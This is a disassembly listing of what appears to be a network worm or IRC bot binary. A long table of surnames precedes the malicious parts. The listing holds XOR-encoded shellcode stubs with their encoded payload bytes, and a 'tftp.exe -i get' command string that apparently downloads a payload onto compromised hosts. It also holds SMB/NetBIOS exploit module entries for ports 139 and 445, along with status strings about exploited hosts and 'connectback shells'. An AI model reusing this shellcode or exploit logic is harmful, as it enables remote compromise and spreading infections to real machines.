aCornish	db 'Cornish',0          ; DATA XREF: ___:004332C0o
aCorey		db 'Corey',0            ; DATA XREF: ___:004332BCo
		align 10h
aConnors	db 'Connors',0          ; DATA XREF: ___:004332B8o
aCondodina	db 'Condodina',0        ; DATA XREF: ___:004332B4o
		align 4
aConcino	db 'Concino',0          ; DATA XREF: ___:004332B0o
aComstock	db 'Comstock',0         ; DATA XREF: ___:004332ACo
		align 4
aCompton	db 'Compton',0          ; DATA XREF: ___:004332A4o
					; ___:004332A8o
aCollis		db 'Collis',0           ; DATA XREF: ___:004332A0o
		align 4
aCollard	db 'Collard',0          ; DATA XREF: ___:0043329Co
aColella	db 'Colella',0          ; DATA XREF: ___:00433298o
aColdren	db 'Coldren',0          ; DATA XREF: ___:00433294o
aCoito		db 'Coito',0            ; DATA XREF: ___:00433290o
		align 4
aCoblenz	db 'Coblenz',0          ; DATA XREF: ___:0043328Co
aClow		db 'Clow',0             ; DATA XREF: ___:00433288o
		align 4
aClifton	db 'Clifton',0          ; DATA XREF: ___:00433284o
aClement	db 'Clement',0          ; DATA XREF: ___:00433280o
aClark		db 'Clark',0            ; DATA XREF: ___:0043327Co
		align 10h
aClancy		db 'Clancy',0           ; DATA XREF: ___:00433278o
		align 4
aClaffey	db 'Claffey',0          ; DATA XREF: ___:00433274o
aCifarelli	db 'Cifarelli',0        ; DATA XREF: ___:00433270o
		align 4
aCicero		db 'Cicero',0           ; DATA XREF: ___:0043326Co
		align 4
aCiampaglia	db 'Ciampaglia',0       ; DATA XREF: ___:00433268o
		align 10h
aChurch		db 'Church',0           ; DATA XREF: ___:00433264o
		align 4
aChupasko	db 'Chupasko',0         ; DATA XREF: ___:00433260o
		align 4
aChu		db 'Chu',0              ; DATA XREF: ___:0043325Co
aChristopher	db 'Christopher',0      ; DATA XREF: ___:00433258o
aChristie	db 'Christie',0         ; DATA XREF: ___:00433254o
		align 10h
aChristiano	db 'Christiano',0       ; DATA XREF: ___:00433250o
		align 4
aChristian	db 'Christian',0        ; DATA XREF: ___:0043324Co
		align 4
aChristenson	db 'Christenson',0      ; DATA XREF: ___:00433248o
aChinman	db 'Chinman',0          ; DATA XREF: ___:00433244o
aChinipardaz	db 'Chinipardaz',0      ; DATA XREF: ___:00433240o
aChilds		db 'Childs',0           ; DATA XREF: ___:0043323Co
		align 10h
aChildress	db 'Childress',0        ; DATA XREF: ___:00433238o
		align 4
aChien		db 'Chien',0            ; DATA XREF: ___:00433234o
		align 4
aChiassino	db 'Chiassino',0        ; DATA XREF: ___:00433230o
		align 10h
aChervinsky	db 'Chervinsky',0       ; DATA XREF: ___:0043322Co
		align 4
aCherry		db 'Cherry',0           ; DATA XREF: ___:00433228o
		align 4
aCheang		db 'Cheang',0           ; DATA XREF: ___:00433224o
		align 4
aCharles_0	db 'Charles',0          ; DATA XREF: ___:00433220o
aChapman	db 'Chapman',0          ; DATA XREF: ___:0043321Co
aCerioli	db 'Cerioli',0          ; DATA XREF: ___:00433218o
aCeniceros	db 'Ceniceros',0        ; DATA XREF: ___:00433214o
		align 10h
aCavell		db 'Cavell',0           ; DATA XREF: ___:00433210o
		align 4
aCavanagh	db 'Cavanagh',0         ; DATA XREF: ___:0043320Co
		align 4
aCastelda	db 'Castelda',0         ; DATA XREF: ___:00433208o
		align 10h
aCaspar		db 'Caspar',0           ; DATA XREF: ___:00433204o
		align 4
aCase		db 'Case',0             ; DATA XREF: ___:00433200o
		align 10h
aCascio		db 'Cascio',0           ; DATA XREF: ___:004331FCo
		align 4
aCartmill	db 'Cartmill',0         ; DATA XREF: ___:004331F8o
		align 4
aCarper		db 'Carper',0           ; DATA XREF: ___:004331F4o
		align 4
aCaroti		db 'Caroti',0           ; DATA XREF: ___:004331F0o
		align 4
aCarmichael	db 'Carmichael',0       ; DATA XREF: ___:004331ECo
		align 10h
aCarlyle	db 'Carlyle',0          ; DATA XREF: ___:004331E8o
aCarlos		db 'Carlos',0           ; DATA XREF: ___:004331E4o
		align 10h
aCarlin		db 'Carlin',0           ; DATA XREF: ___:004331E0o
		align 4
aCarayannopoulo	db 'Carayannopoulos',0  ; DATA XREF: ___:004331DCo
aCaratozzolo	db 'Caratozzolo',0      ; DATA XREF: ___:004331D8o
aCapursi	db 'Capursi',0          ; DATA XREF: ___:004331D4o
aCappuccio	db 'Cappuccio',0        ; DATA XREF: ___:004331D0o
		align 4
aCapodilupo	db 'Capodilupo',0       ; DATA XREF: ___:004331CCo
		align 4
aCapocaccia	db 'Capocaccia',0       ; DATA XREF: ___:004331C8o
		align 10h
aCaperton	db 'Caperton',0         ; DATA XREF: ___:004331C4o
		align 4
aCapanni	db 'Capanni',0          ; DATA XREF: ___:004331C0o
aCanley		db 'Canley',0           ; DATA XREF: ___:004331BCo
		align 4
aCammilleri	db 'Cammilleri',0       ; DATA XREF: ___:004331B8o
		align 4
aCammelli	db 'Cammelli',0         ; DATA XREF: ___:004331B4o
		align 4
aCalnan		db 'Calnan',0           ; DATA XREF: ___:004331B0o
		align 4
aCage		db 'Cage',0             ; DATA XREF: ___:004331ACo
		align 4
aByrd		db 'Byrd',0             ; DATA XREF: ___:004331A8o
		align 4
aByerly		db 'Byerly',0           ; DATA XREF: ___:004331A4o
		align 4
aByatt		db 'Byatt',0            ; DATA XREF: ___:004331A0o
		align 4
aBusetta	db 'Busetta',0          ; DATA XREF: ___:0043319Co
aBurridge	db 'Burridge',0         ; DATA XREF: ___:00433198o
		align 10h
aBurke		db 'Burke',0            ; DATA XREF: ___:00433194o
		align 4
aBurdzy		db 'Burdzy',0           ; DATA XREF: ___:00433190o
		align 10h
aBurden		db 'Burden',0           ; DATA XREF: ___:0043318Co
		align 4
aBunton		db 'Bunton',0           ; DATA XREF: ___:00433188o
		align 10h
aBullard	db 'Bullard',0          ; DATA XREF: ___:00433184o
aBudding	db 'Budding',0          ; DATA XREF: ___:00433180o
aBuchan		db 'Buchan',0           ; DATA XREF: ___:0043317Co
		align 4
aBrzycki	db 'Brzycki',0          ; DATA XREF: ___:00433178o
aBrook		db 'Brook',0            ; DATA XREF: ___:00433174o
		align 4
aBroca		db 'Broca',0            ; DATA XREF: ___:00433170o
		align 10h
aBritz		db 'Britz',0            ; DATA XREF: ___:0043316Co
		align 4
aBrinton	db 'Brinton',0          ; DATA XREF: ___:00433168o
aBridges	db 'Bridges',0          ; DATA XREF: ___:00433164o
aBridgeman	db 'Bridgeman',0        ; DATA XREF: ___:00433160o
		align 4
aBrewer		db 'Brewer',0           ; DATA XREF: ___:00433158o
					; ___:0043315Co
		align 4
aBrennan	db 'Brennan',0          ; DATA XREF: ___:00433154o
aBrenan		db 'Brenan',0           ; DATA XREF: ___:00433150o
		align 4
aBreed		db 'Breed',0            ; DATA XREF: ___:0043314Co
		align 4
aBrecht		db 'Brecht',0           ; DATA XREF: ___:00433148o
		align 4
aBradach	db 'Bradach',0          ; DATA XREF: ___:00433144o
aBradac		db 'Bradac',0           ; DATA XREF: ___:00433140o
		align 4
aBracalente	db 'Bracalente',0       ; DATA XREF: ___:0043313Co
		align 4
aBoyne		db 'Boyne',0            ; DATA XREF: ___:00433138o
		align 10h
aBoym		db 'Boym',0             ; DATA XREF: ___:00433134o
		align 4
aBoyland	db 'Boyland',0          ; DATA XREF: ___:00433130o
aBoyes		db 'Boyes',0            ; DATA XREF: ___:0043312Co
		align 4
aBoyajian	db 'Boyajian',0         ; DATA XREF: ___:00433128o
		align 4
aBoxer		db 'Boxer',0            ; DATA XREF: ___:00433124o
		align 4
aBowers		db 'Bowers',0           ; DATA XREF: ___:00433120o
		align 4
aBourneuf	db 'Bourneuf',0         ; DATA XREF: ___:0043311Co
		align 10h
aBoudrot	db 'Boudrot',0          ; DATA XREF: ___:00433118o
aBoudin		db 'Boudin',0           ; DATA XREF: ___:00433114o
		align 10h
aBotosh		db 'Botosh',0           ; DATA XREF: ___:00433110o
		align 4
aBothman	db 'Bothman',0          ; DATA XREF: ___:0043310Co
aBossi		db 'Bossi',0            ; DATA XREF: ___:00433108o
		align 4
aBorden		db 'Borden',0           ; DATA XREF: ___:00433104o
		align 10h
aBorack		db 'Borack',0           ; DATA XREF: ___:00433100o
		align 4
aBoorstin	db 'Boorstin',0         ; DATA XREF: ___:004330FCo
		align 4
aBoone		db 'Boone',0            ; DATA XREF: ___:004330F8o
		align 4
aBookbinder	db 'Bookbinder',0       ; DATA XREF: ___:004330F4o
		align 4
aBook_0		db 'Book',0             ; DATA XREF: ___:004330F0o
		align 10h
aBontempo	db 'Bontempo',0         ; DATA XREF: ___:004330ECo
		align 4
aBoniface	db 'Boniface',0         ; DATA XREF: ___:004330E8o
		align 4
aBonham		db 'Bonham',0           ; DATA XREF: ___:004330E4o
		align 10h
aBoner_0	db 'Boner',0            ; DATA XREF: ___:004330E0o
		align 4
aBologna	db 'Bologna',0          ; DATA XREF: ___:004330DCo
aBollinger	db 'Bollinger',0        ; DATA XREF: ___:004330D8o
		align 4
aBolick		db 'Bolick',0           ; DATA XREF: ___:004330D4o
		align 4
aBolger		db 'Bolger',0           ; DATA XREF: ___:004330D0o
		align 4
aBlyth		db 'Blyth',0            ; DATA XREF: ___:004330CCo
		align 4
aBloxham	db 'Bloxham',0          ; DATA XREF: ___:004330C8o
aBloemhof	db 'Bloemhof',0         ; DATA XREF: ___:004330C4o
		align 4
aBloembergen	db 'Bloembergen',0      ; DATA XREF: ___:004330C0o
aBloch		db 'Bloch',0            ; DATA XREF: ___:004330BCo
		align 4
aBlizard	db 'Blizard',0          ; DATA XREF: ___:004330B8o
aBliss		db 'Bliss',0            ; DATA XREF: ___:004330B4o
		align 4
aBlanke		db 'Blanke',0           ; DATA XREF: ___:004330B0o
		align 4
aBlakemore	db 'Blakemore',0        ; DATA XREF: ___:004330ACo
		align 10h
aBlagg		db 'Blagg',0            ; DATA XREF: ___:004330A8o
		align 4
aBlackwell	db 'Blackwell',0        ; DATA XREF: ___:004330A4o
		align 4
aBlackbourn	db 'Blackbourn',0       ; DATA XREF: ___:004330A0o
		align 10h
aBisho		db 'Bisho',0            ; DATA XREF: ___:0043309Co
		align 4
aBisema		db 'Bisema',0           ; DATA XREF: ___:00433098o
		align 10h
aBir		db 'Bir',0              ; DATA XREF: ___:00433094o
aBinion		db 'Binion',0           ; DATA XREF: ___:00433090o
		align 4
aBickel		db 'Bickel',0           ; DATA XREF: ___:0043308Co
		align 4
aBiagioli	db 'Biagioli',0         ; DATA XREF: ___:00433088o
		align 10h
aBeynart	db 'Beynart',0          ; DATA XREF: ___:00433084o
aBetti		db 'Betti',0            ; DATA XREF: ___:00433080o
		align 10h
aBerrizbeitia	db 'Berrizbeitia',0     ; DATA XREF: ___:0043307Co
		align 10h
aBernston	db 'Bernston',0         ; DATA XREF: ___:00433078o
		align 4
aBernassola	db 'Bernassola',0       ; DATA XREF: ___:00433074o
		align 4
aBernardo	db 'Bernardo',0         ; DATA XREF: ___:00433070o
		align 4
aBerkeJenkins	db 'Berke-Jenkins',0    ; DATA XREF: ___:0043306Co
		align 4
aBergson	db 'Bergson',0          ; DATA XREF: ___:00433068o
aBenedictDye	db 'Benedict-Dye',0     ; DATA XREF: ___:00433064o
		align 4
aBelloc		db 'Belloc',0           ; DATA XREF: ___:00433060o
		align 4
aBellini	db 'Bellini',0          ; DATA XREF: ___:0043305Co
aBellhouse	db 'Bellhouse',0        ; DATA XREF: ___:00433058o
		align 4
aBellavance	db 'Bellavance',0       ; DATA XREF: ___:00433054o
		align 4
aBelinCollart	db 'Belin-Collart',0    ; DATA XREF: ___:00433050o
		align 4
aBelfer		db 'Belfer',0           ; DATA XREF: ___:0043304Co
		align 4
aBelaoussof	db 'Belaoussof',0       ; DATA XREF: ___:00433048o
		align 4
aBelanger	db 'Belanger',0         ; DATA XREF: ___:00433044o
		align 4
aBehenna	db 'Behenna',0          ; DATA XREF: ___:00433040o
aBedford	db 'Bedford',0          ; DATA XREF: ___:0043303Co
aBeder		db 'Beder',0            ; DATA XREF: ___:00433038o
		align 4
aBeckman	db 'Beckman',0          ; DATA XREF: ___:00433034o
aBean		db 'Bean',0             ; DATA XREF: ___:00433030o
		align 4
aBeal		db 'Beal',0             ; DATA XREF: ___:0043302Co
		align 4
aBeacon		db 'Beacon',0           ; DATA XREF: ___:00433028o
		align 4
aBayo		db 'Bayo',0             ; DATA XREF: ___:00433024o
		align 4
aBayles		db 'Bayles',0           ; DATA XREF: ___:00433020o
		align 4
aBaumiller	db 'Baumiller',0        ; DATA XREF: ___:0043301Co
		align 4
aBatchelder	db 'Batchelder',0       ; DATA XREF: ___:00433018o
		align 4
aBashevis	db 'Bashevis',0         ; DATA XREF: ___:00433014o
		align 10h
aBasavappa	db 'Basavappa',0        ; DATA XREF: ___:00433010o
		align 4
aBartoo		db 'Bartoo',0           ; DATA XREF: ___:0043300Co
		align 4
aBartolome	db 'Bartolome',0        ; DATA XREF: ___:00433008o
		align 10h
aBartholomew	db 'Bartholomew',0      ; DATA XREF: ___:00433004o
aBarry		db 'Barry',0            ; DATA XREF: ___:00433000o
		align 4
aBarriola	db 'Barriola',0         ; DATA XREF: ___:00432FFCo
		align 10h
aBarnett	db 'Barnett',0          ; DATA XREF: ___:00432FF8o
aBarneson	db 'Barneson',0         ; DATA XREF: ___:00432FF4o
		align 4
aBarbetti	db 'Barbetti',0         ; DATA XREF: ___:00432FF0o
		align 10h
aBarberi	db 'Barberi',0          ; DATA XREF: ___:00432FECo
aBaranowska	db 'Baranowska',0       ; DATA XREF: ___:00432FE8o
		align 4
aBaranczak	db 'Baranczak',0        ; DATA XREF: ___:00432FE4o
		align 10h
aBarajas	db 'Barajas',0          ; DATA XREF: ___:00432FE0o
aBarabesi	db 'Barabesi',0         ; DATA XREF: ___:00432FDCo
		align 4
aBanta		db 'Banta',0            ; DATA XREF: ___:00432FD8o
		align 4
aBaltz		db 'Baltz',0            ; DATA XREF: ___:00432FD4o
		align 4
aBallew		db 'Ballew',0           ; DATA XREF: ___:00432FD0o
		align 4
aBallatori	db 'Ballatori',0        ; DATA XREF: ___:00432FCCo
		align 4
aBaleja		db 'Baleja',0           ; DATA XREF: ___:00432FC8o
		align 10h
aBakanowsky	db 'Bakanowsky',0       ; DATA XREF: ___:00432FC4o
		align 4
aBailar		db 'Bailar',0           ; DATA XREF: ___:00432FC0o
		align 4
aBagnold	db 'Bagnold',0          ; DATA XREF: ___:00432FBCo
aBaglivo	db 'Baglivo',0          ; DATA XREF: ___:00432FB8o
aBady		db 'Bady',0             ; DATA XREF: ___:00432FB4o
		align 4
aBackus		db 'Backus',0           ; DATA XREF: ___:00432FB0o
		align 4
aBachmuth	db 'Bachmuth',0         ; DATA XREF: ___:00432FACo
		align 10h
aAzima		db 'Azima',0            ; DATA XREF: ___:00432FA8o
		align 4
aAyling		db 'Ayling',0           ; DATA XREF: ___:00432FA4o
		align 10h
aAykroyd	db 'Aykroyd',0          ; DATA XREF: ___:00432FA0o
aAyiemba	db 'Ayiemba',0          ; DATA XREF: ___:00432F9Co
aAxworthy	db 'Axworthy',0         ; DATA XREF: ___:00432F98o
		align 4
aAxelrod	db 'Axelrod',0          ; DATA XREF: ___:00432F94o
aAurelius	db 'Aurelius',0         ; DATA XREF: ___:00432F90o
		align 10h
aAugustus	db 'Augustus',0         ; DATA XREF: ___:00432F8Co
		align 4
aAtkins		db 'Atkins',0           ; DATA XREF: ___:00432F88o
		align 4
aArky		db 'Arky',0             ; DATA XREF: ___:00432F84o
		align 4
aArjas		db 'Arjas',0            ; DATA XREF: ___:00432F80o
		align 4
aAristotle	db 'Aristotle',0        ; DATA XREF: ___:00432F7Co
		align 10h
aArellano	db 'Arellano',0         ; DATA XREF: ___:00432F78o
		align 4
aArduini	db 'Arduini',0          ; DATA XREF: ___:00432F74o
aArbia		db 'Arbia',0            ; DATA XREF: ___:00432F70o
		align 4
aAntos		db 'Antos',0            ; DATA XREF: ___:00432F6Co
		align 4
aAnthony	db 'Anthony',0          ; DATA XREF: ___:00432F68o
aAnsley		db 'Ansley',0           ; DATA XREF: ___:00432F64o
		align 4
aAnfinrud	db 'Anfinrud',0         ; DATA XREF: ___:00432F60o
		align 10h
aAndron		db 'Andron',0           ; DATA XREF: ___:00432F5Co
		align 4
aAndrelus	db 'Andrelus',0         ; DATA XREF: ___:00432F58o
		align 4
aAndo		db 'Ando',0             ; DATA XREF: ___:00432F54o
		align 4
aAndel		db 'Andel',0            ; DATA XREF: ___:00432F50o
		align 4
aAnand		db 'Anand',0            ; DATA XREF: ___:00432F4Co
		align 4
aAmsden		db 'Amsden',0           ; DATA XREF: ___:00432F48o
		align 4
aAmeer		db 'Ameer',0            ; DATA XREF: ___:00432F44o
		align 4
aAmatangelo	db 'Amatangelo',0       ; DATA XREF: ___:00432F40o
		align 4
aAmaral		db 'Amaral',0           ; DATA XREF: ___:00432F3Co
		align 10h
aAltenhofen	db 'Altenhofen',0       ; DATA XREF: ___:00432F38o
		align 4
aAltenberger	db 'Altenberger',0      ; DATA XREF: ___:00432F34o
aAltavilla	db 'Altavilla',0        ; DATA XREF: ___:00432F30o
		align 4
aAlongi		db 'Alongi',0           ; DATA XREF: ___:00432F2Co
		align 4
aAllison_0	db 'Allison',0          ; DATA XREF: ___:00432F28o
aAleks		db 'Aleks',0            ; DATA XREF: ___:00432F24o
		align 4
aAlda		db 'Alda',0             ; DATA XREF: ___:00432F20o
		align 4
aAlcorn		db 'Alcorn',0           ; DATA XREF: ___:00432F1Co
		align 4
aAlavi		db 'Alavi',0            ; DATA XREF: ___:00432F18o
		align 4
aAhlers		db 'Ahlers',0           ; DATA XREF: ___:00432F14o
		align 4
aAdorno		db 'Adorno',0           ; DATA XREF: ___:00432F10o
		align 4
aAdibe		db 'Adibe',0            ; DATA XREF: ___:00432F0Co
		align 4
aAdelstein	db 'Adelstein',0        ; DATA XREF: ___:00432F08o
		align 4
aAddison	db 'Addison',0          ; DATA XREF: ___:off_432F04o
aAdams		db 'Adams',0            ; DATA XREF: ___:00432F00o
		align 4
aAckerman	db 'Ackerman',0         ; DATA XREF: ___:00432EFCo
		align 4
aAbdulrazak	db 'Abdulrazak',0       ; DATA XREF: ___:off_432EF8o
		align 10h
byte_436B50	db 50h			; DATA XREF: ___:0040ADEFo
					; ___:0040ADFCr
		db 43h,	2 dup(0)
dword_436B54	dd 7C7325h		; DATA XREF: ___:0040AE9Ao
dword_436B58	dd 5D73255Bh, 7Ch	; DATA XREF: ___:0040AFA4o
dword_436B60	dd 3F3F3Fh		; DATA XREF: ___:loc_40AF9Bo
					; sub_41AA42:loc_41AB05o
dword_436B64	dd 334B32h		; DATA XREF: ___:0040AF94o
dword_436B68	dd 5058h		; DATA XREF: ___:0040AF86o
					; sub_41AA42+AAo
dword_436B6C	dd 4B32h		; DATA XREF: ___:0040AF76o
					; sub_41AA42+98o
dword_436B70	dd 454Dh		; DATA XREF: ___:0040AF5Do
					; sub_41AA42+7Eo
dword_436B74	dd 3839h		; DATA XREF: ___:0040AF4Do
					; sub_41AA42+6Co
dword_436B78	dd 544Eh		; DATA XREF: ___:0040AF3Do
					; sub_41AA42+5Ao
dword_436B7C	dd 3539h		; DATA XREF: ___:0040AF2Fo
					; sub_41AA42+46o
dword_436B80	dd 5D64255Bh, 7325h	; DATA XREF: sub_40AFEA+3Ao
dword_436B88	dd 5D4D5Bh		; DATA XREF: sub_40AFEA+2Co
					; sub_40AFEA+57o
aMirc_0		db 'mIRC',0             ; DATA XREF: sub_40AFEA+18o
					; sub_418211+5o
		align 4
		jmp	short loc_436B98
; ---------------------------------------------------------------------------


loc_436B96:				; CODE XREF: ___:loc_436B98p
		jmp	short loc_436B9D
; ---------------------------------------------------------------------------


loc_436B98:				; CODE XREF: ___:00436B94j
		call	loc_436B96


loc_436B9D:				; CODE XREF: ___:loc_436B96j
		pop	ebx
		xor	ecx, ecx
		mov	cx, 0FFFFh


loc_436BA4:				; CODE XREF: ___:00436BA9j
		xor	byte ptr [ebx+0Eh], 0FFh
		inc	ebx
		loop	loc_436BA4
		add	bl, ch
		add	ch, bl
		add	eax, 0FFFFF9E8h
		call	fword ptr [ebx+31h]
		leave
		mov	cl, 0FFh


loc_436BBA:				; CODE XREF: ___:00436BBFj
		xor	byte ptr [ebx+0Ch], 0FFh
		inc	ebx
		loop	loc_436BBA
; ---------------------------------------------------------------------------
		db 3 dup(0)
		dd 364C033h, 0C783040h,	8B0C408Bh, 8BAD1C70h, 9EB0840h
		dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
		dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
		dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
		dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
		dd 12h
aTftp_exeIGet	db 'tftp.exe -i  get ',0
; ---------------------------------------------------------------------------
		push	0
		call	sub_436C5C
		jnz	short loc_436C48
		retn
; ---------------------------------------------------------------------------


loc_436C48:				; CODE XREF: ___:00436C45j
					; ___:00436C55j
		call	near ptr loc_436C4D+1


loc_436C4D:				; CODE XREF: ___:loc_436C48p
		add	[edx+0], ch
		call	sub_436C5C
		jz	loc_436C48
		retn

; =============== S U B	R O U T	I N E =======================================



sub_436C5C	proc near		; CODE XREF: ___:00436C40p
					; ___:00436C50p
		pop	eax
		pop	ebx
		pop	ebp
		push	eax
		sub	esp, 54h
		xor	eax, eax
		mov	edi, esp
		lea	ecx, [eax+40h]
		mov	edx, edi
		rep stosb
		mov	al, 44h
		stosd
		push	edi
		push	edx
		push	ecx
		push	ecx
		push	28h
		push	1
		push	ecx
		push	ecx
		push	ebp
		push	ebx
		call	esi
		add	esp, 54h
		test	eax, eax
		retn
sub_436C5C	endp

; ---------------------------------------------------------------------------
		align 4
		dd 234032Dh, 65726874h,	6C206461h, 2747369h, 202D03h
aSNoSThreadFoun	db '%s No %s thread found.',0 ; DATA XREF: sub_40B384+51o
		align 4
aSSStopped_DThr	db '%s %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_40B384+35o
		align 10h
aSym		db 'sym',0              ; DATA XREF: sub_40C124+169o
		dd 0
		db 2 dup(0)
aSymantec	db 'Symantec',0         ; DATA XREF: sub_40B7DA+30o
		align 4
		dd 5 dup(0)
dword_436D08	dd 0B97h		; DATA XREF: sub_401ACD+1DA0r
					; sub_401ACD+1DC9o ...
off_436D0C	dd offset sub_40E0D0	; DATA XREF: sub_40C124+1EAr
dword_436D10	dd 0			; DATA XREF: sub_40B64A+2Eo
					; ___:0040D495w ...
dword_436D14	dd 1			; DATA XREF: sub_40BACD+1Fr
dword_436D18	dd 1			; DATA XREF: sub_40BACD+3B3r
dword_436D1C	dd 0			; DATA XREF: sub_40BACD+292r
		dd 636E76h, 0
		dd 6E760000h, 63h, 6 dup(0)
		dd 170Ch, 40E206h, 0
		dd 2 dup(1), 0
aNet139		db 'net139',0
		align 4
		dd 654E0000h, 69706174h, 393331h, 5 dup(0)
		dd 8Bh,	40DF8Eh, 0
		dd 2 dup(1), 0
aNet445		db 'net445',0
		align 4
		dd 654E0000h, 69706174h, 353434h, 5 dup(0)
		dd 1BDh, 40DF8Eh, 0
		dd 2 dup(1), 0
aAsn80		db 'asn80',0
		align 4
		dd 53410000h, 2D312E4Eh, 50545448h, 5 dup(0)
		dd 50h,	40D2D9h, 0
		dd 2 dup(1), 0
aAsn445		db 'asn445',0
		align 4
		dd 53410000h, 2D312E4Eh, 424D53h, 5 dup(0)
		dd 1BDh, 40D2D9h, 0
		dd 2 dup(1), 0
aAsn139		db 'asn139',0
		align 4
		dd 53410000h, 2D312E4Eh, 20424D53h, 544Eh, 4 dup(0)
		dd 8Bh,	40D2D9h, 0
		dd 2 dup(1), 2 dup(0)
		dd 10100h, 0Eh dup(0)
		dd 6D7973h, 0
		db 2 dup(0)
byte_436EEA	db 1			; DATA XREF: sub_401ACD:loc_4037E6r
					; sub_401ACD+1D23o
aAsn139_0	db 'asn139',0
		align 4
		dd 100h, 3 dup(0)
; ---------------------------------------------------------------------------
		jmp	short loc_436F16

; =============== S U B	R O U T	I N E =======================================



sub_436F06	proc near		; CODE XREF: sub_436F06:loc_436F16p
		pop	edx
		dec	edx
		xor	ecx, ecx
		mov	cx, 166h


loc_436F0E:				; CODE XREF: sub_436F06+Cj
		xor	byte ptr [edx+ecx], 99h
		loop	loc_436F0E
		jmp	short loc_436F1B
; ---------------------------------------------------------------------------


loc_436F16:				; CODE XREF: ___:00436F04j
		call	sub_436F06


loc_436F1B:				; CODE XREF: sub_436F06+Ej
		jo	short near ptr dword_436EA4+12h
		cwde
		cdq
		cdq
		retn
sub_436F06	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 21h,	95h, 69h
		dd 9912E664h, 3485E912h, 1291D912h, 0A5EA1241h,	0EF126A9Ah
		dd 126A9AE1h, 629AB9E7h, 0AA8DD712h, 0C8CECF74h, 629AA612h
		dd 97F36B12h, 0ED3F6AC0h, 1AC6C091h, 7BDC9D5Eh,	0C7C6C070h
		dd 0DF125412h, 485A9ABDh, 0AA589A78h, 9112FF50h, 9A85DF12h
		dd 9B78585Ah, 9912589Ah, 63125A9Ah, 5F1A6E12h, 0F3491297h
		dd 0E571C09Ah, 1A999999h, 0CFCB945Fh, 0C365CE66h, 9DF34112h
		dd 99F071C0h, 0C9C99999h, 98F3C9C9h, 0CE669BF3h, 5E411269h
		dd 9E999B9Eh, 1059AA24h, 89F39DDEh, 0CE66CACEh,	0CA98F36Dh
		dd 0C961CE66h, 0CE66CAC9h, 0DD751A65h, 42AA6D12h, 10C089F3h
		dd 627B1785h, 10A1DF10h, 0DF10A5DFh, 0B5DF5ED9h, 99999898h
		dd 0C989DE14h, 0CACACACFh, 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h
		dd 0CAC9A5DEh, 0C97DCE66h, 0AA71CE66h, 591C3559h, 0CBC860ECh
		dd 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66676271h, 0EDFCDE66h
		dd 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh
		dd 0EAFCFAF6h, 0DC99D8EAh, 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh
		dd 0D5FDF8F6h, 0F8EBFBF0h, 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh
		dd 0F6CAD8CAh, 0EDFCF2FAh, 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h
		dd 0FAF899F7h, 0EDE9FCFAh, 99h
aTotalDInS_	db ' Total: %d in %s.',0 ; DATA XREF: sub_40B64A+86o
		align 4
dword_437098	dd 25370320h, 203A0373h, 2C6425h ; DATA	XREF: sub_40B64A+46o
unk_4370A4	db  2Dh	; -		; DATA XREF: sub_40B64A+11o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aExploitStatist	db 'Exploit Statistics:',0
unk_4370C4	db  2Dh	; -		; DATA XREF: sub_40B719+38o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
		db  54h	; T
		db 72h,	61h, 6Eh
		db  73h	; s
		db 66h,	65h, 72h
		db  20h
		db 53h,	74h, 61h
		db  74h	; t
		db 69h,	73h, 74h
		db  69h	; i
		db 63h,	73h, 3Ah
		db  20h
		db 2, 54h, 46h
		db  54h	; T
		db 50h,	2, 3Ah
		db  20h
		db 25h,	64h, 2Ch
		db  20h
		db 2, 46h, 54h
		db  50h	; P
		db 2, 3Ah, 20h
aDTotalDInS_	db '%d, Total %d in %s.',0
unk_43710C	db  2Dh	; -		; DATA XREF: sub_40B785+22o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aDConnectbackSh	db '%d connectback shells in %s.',0
		align 4
aScanTimeS_	db ' Scan Time: %s.',0  ; DATA XREF: sub_40B7DA+7Fo
dword_437148	dd 25370320h, 28200373h, 73253403h, 2C2903h ; DATA XREF: sub_40B7DA+40o
dword_437158	dd 234032Dh, 6E616373h,	202D0302h, 6C707845h, 2074696Fh
					; DATA XREF: sub_40B7DA+14o
		dd 7473694Ch, 3Ah
unk_437174	db  2Dh	; -		; DATA XREF: ___:0040BA13o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aFinishedExploi	db '- finished exploiting %s (%d attempts)',0
unk_4371A8	db  2Dh	; -		; DATA XREF: ___:0040B921o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
		db 2Dh,	20h, 74h
		db  72h	; r
		db 79h,	69h, 6Eh
		db  67h	; g
		db 20h,	2, 25h
		db  73h	; s
		db 2, 20h, 6Fh
aNSPortD___	db 'n %s (port %d)...',0
		align 4
unk_4371D8	db  2Dh	; -		; DATA XREF: sub_40BA56+42o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanNotActive_	db 'Scan not active.',0
		align 4
unk_4371F8	db  2Dh	; -		; DATA XREF: sub_40BA56+2Co
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aCurrentIpS_	db 'Current IP: %s.',0
unk_437214	db  2Dh	; -		; DATA XREF: sub_40BACD+4B7o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_33	db ' Failed to start server, error: <%d>.',0
		align 4
unk_437248	db  2Dh	; -		; DATA XREF: sub_40BACD+38Fo
